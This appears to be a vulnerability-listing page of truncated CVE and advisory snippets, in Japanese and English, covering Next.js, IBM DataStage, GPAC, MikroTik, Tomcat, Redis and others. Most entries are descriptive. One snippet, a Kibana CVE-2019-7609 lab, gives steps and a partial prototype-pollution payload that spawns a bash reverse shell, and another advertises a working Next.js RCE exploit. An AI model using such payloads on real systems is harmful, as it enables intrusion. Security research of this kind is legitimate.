CVE-2025-55182-Exploit

CVE-2025-55182 — Next.js Flight デシリアライゼーション RCE Next.js Server Actions（Flight）のデシリアライゼーション脆弱性に対するリモートコード実行エクスプロイト 📌 概要 このリポジトリには、Next.js Flight プロトコル （Server Actions）のデシリアライゼーション脆弱性である CVE-2025-55182 の動作するエクスプロイトが含まれています。悪意のある Flight チャンクを細工することで、認証されていない攻撃者は proto チェーン（then / constructor...

CVE-2026-81549

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header...

CVE-2026-81549

IBM DataStage on Cloud Pak for Data version 5.4.0.0 is vulnerable to a Server-Side Request Forgery (SSRF) (CWE-918) due to improper validation of the X-Forwarded-Proto header. This flaw could allow a remote authenticated attacker to obtain sensitive information. To remediate this vulnerability, I...

EUVD-2026-85911

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header...

CVE-2026-81549 DataStage on Cloud Pak for Data has several vulnerabilities

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header...

CVE-2019-7609

CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2026-88339

A NULL pointer dereference vulnerability exists in the gfsgvrmlfieldclone function of GPAC 2d7da22e 26.08-DEV. The vulnerability occurs when cloning a PROTO default SFImage field with a NULL source pointer. An attacker can provide a specially crafted input file that triggers the condition,...

CVE-2018-5951

CVE-2018-5951: MikroTik RouterOS サービス拒否脆弱性 脆弱性概要 MikroTik RouterOS の脆弱性により、認証されていないリモート攻撃者がルーターを強制的に再起動させることができます。これは、IP プロトコル 97 を使用して RouterOS の IPv6 アドレスに 1 バイトのサイズのパケットを送信することで行われます。EoIPv6 をサポートするすべてのバージョンの RouterOS がこの攻撃に対して脆弱である可能性があります。この攻撃には、ターゲットシステムで IPv6 が有効であり、かつ少なくとも 1...

Linux Distros Unpatched Vulnerability : CVE-2026-92474

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component...

CVE-2026-92474

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

CVE-2026-92474 GPAC Proto Link mpeg4_inline.c gf_inline_get_proto_lib use after free

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

CVE-2026-92474

A use after free vulnerability exists in the Proto Link Handler component of GPAC 26.08-DEV , specifically in the function gf_inline_get_proto_lib within src/compositor/mpeg4_inline.c. The flaw requires a local attack with low complexity and low privileges. Per CVSS 3.1, the impact is LOW (base s...

CVE-2026-92474 GPAC Proto Link mpeg4_inline.c gf_inline_get_proto_lib use after free

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

CVE-2026-92474 GPAC Proto Link mpeg4_inline.c gf_inline_get_proto_lib use after free

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

EUVD-2026-80955

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

CVE-2026-92474: Use After Free

A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gfinlinegetprotolib of the file src/compositor/mpeg4inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the...

Astra Linux – Vulnerability in Tomcat9

When using RemoteIpFilter with requests received from a reverse proxy via HTTP that includes the X-Forwarded-Proto header set to https, session cookies created by Apache Tomcat 11.0.0-M1 to 11.0.0.-M2, 10.1.0-M1 to 10.1.5, 9.0.0-M1 to 9.0.71, and 8.5.0 to 8.5.85 did not include the secure...

Astra Linux – Vulnerability in Redis

Redis is an open-source, in-memory database that persists data on disk. A integer overflow bug in the underlying string library can be exploited to corrupt the heap, potentially leading to denial of service or remote code execution. The vulnerability involves changing the default proto-max-bulk-l...

Astra Linux – Vulnerability found in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: bpf, sockmap: Check for any of tcpbpfprots when cloning a listener. A listening socket linked to a sockmap has its skprot overridden. It points to one of the struct proto variants in tcpbpfprots. This variant depends on the...

Astra Linux – Vulnerability in node-qs

The qs format used before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process to hang for an Express application. This is because the proto key can be exploited. In many typical Express use cases, an unauthenticated remote attacker can insert the...